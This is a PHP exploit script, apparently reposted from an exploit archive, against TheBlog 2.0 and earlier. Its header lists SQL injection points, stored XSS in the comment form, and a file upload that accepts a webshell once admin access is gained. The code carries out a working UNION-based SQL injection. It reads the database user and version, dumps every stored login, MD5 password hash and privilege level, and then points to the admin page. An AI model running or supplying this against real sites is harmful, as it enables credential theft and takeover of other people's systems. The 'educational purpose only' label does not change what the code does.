<?php # 标题: TheBlog <= 2.0 SQL Injection # 作者: WhiteCollarGroup # 下载 地址: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news # 开发网站e: http://theblog.codigolivre.org.br/ # 影响版本: 2.0 # 已测试系统: Debian GNU/Linux,Windows 7 Ultimate (Apache Server) /* WhiteCollarGroup www.wcgroup.host56.com whitecollar_group@hotmail.com @WCollarGroup -+- If you will try to hack your own server for test, and will install on a MySQL >= 5, on SQL codes to insert, you must replace all: TYPE=MyISAM By: ENGINE=InnoDB -+- We discovered multiple vulnerabilities on this system. All in index.php, vars: ~> SQL Injection index.php?id=[sqli] index.php?cat=[sqli] index.php?archives=[sqli without "-"] ~> XSS Persistent (stored) When reading a post, click "Deixe um comentário" (leave an comment). In comment form, you have: Nome: [XSS] E-mail: [XSS] Message: [XSS] Inputs "Nome" and "E-mail" are limited to 255 max chars. Input "Message" haven't limit. You can inject HTML and JavaScript code. ~> Arbitraty File Upload After get admin access, on the menu, click "Upload". Upload your webshell on the form. A link will be appears on file list ("Lista de Arquivos"). > What's this exploit? Are a PoC for SQL Injection on "index.php?id=". How to use: php exploit.php <target> Example: php exploit.php http:// www.2cto.com /blog/ EDUCATIONAL PURPOSE ONLY! */ error_reporting(E_ERROR); set_time_limit(0); ini_set("default_socket_timeout", 30); function hex($string){ $hex=''; // PHP 'Dim' =] for ($i=0; $i < strlen($string); $i++){ $hex .= dechex(ord($string[$i])); } return '0x'.$hex; } echo "TheBlog <= 2.0 SQL Injection exploit\n"; echo "Discovered and written by WhiteCollarGroup\n"; echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n"; if($argc!=2) { echo "Usage: \n"; echo "php $argv[0] <target url>\n"; echo "Example:\n"; echo "php $argv[0] http://www.website.com/blog\n"; exit; } $target = $argv[1]; if(substr($target, (strlen($target)-1))!="/") { $target .= "/"; } $inject = $target . "index.php?id=".urlencode("-0' "); echo "[*] Trying to get informations...\n"; $token = uniqid(); $token_hex = hex($token); // http://localhost/cms/theblog/theblog2-0/index.php?id=-62%27%20UNION%20ALL%20SELECT%201,2,3,4,5,concat%28login,0x3c3d3e,senha,0x3c3d3e,nivel%29,7,8,9,10,11,12,13%20from%20theblog_users%20LIMIT%200,1--+ $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,user(),$token_hex,version(),$token_hex),7,8,9,10,11,12,13-- ")); $infos_r = array(); preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r); $user = $infos_r[1][0]; $version = $infos_r[2][0]; if($user) { echo "[!] MySQL version: $version\n"; echo "[!] MySQL user: $user\n"; } else { echo "[-] Error while getting informations.\n"; } echo "[*] Getting users...\n"; $i = 0; while(true) { $dados_r = array(); $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,login,$token_hex,senha,$token_hex,nivel,$token_hex),7,8,9,10,11,12,13 FROM theblog_users LIMIT $i,1-- ")); preg_match_all("/$token(.*)$token(.*)$token(.*)$token/", $dados, $dados_r); $login = $dados_r[1][0]; $senha = $dados_r[2][0]; $nivel = $dados_r[3][0]; if(($login) OR ($senha) OR ($nivel)) { echo " -+-\n"; echo " User: $login\n" ." Pass ( MD5 ): $senha\n" ." Level: ".($nivel=="1" ? "admin" : "poster")."\n"; $i++; } else { break; } } if($i!=0) { echo "[!] Admin login: {$target}admin.php\n"; } else { echo "[-] Exploit failed. Make sure that's server is using a valid version of TheBlog without Apache mod_security.\nWe're sorry.\n"; }
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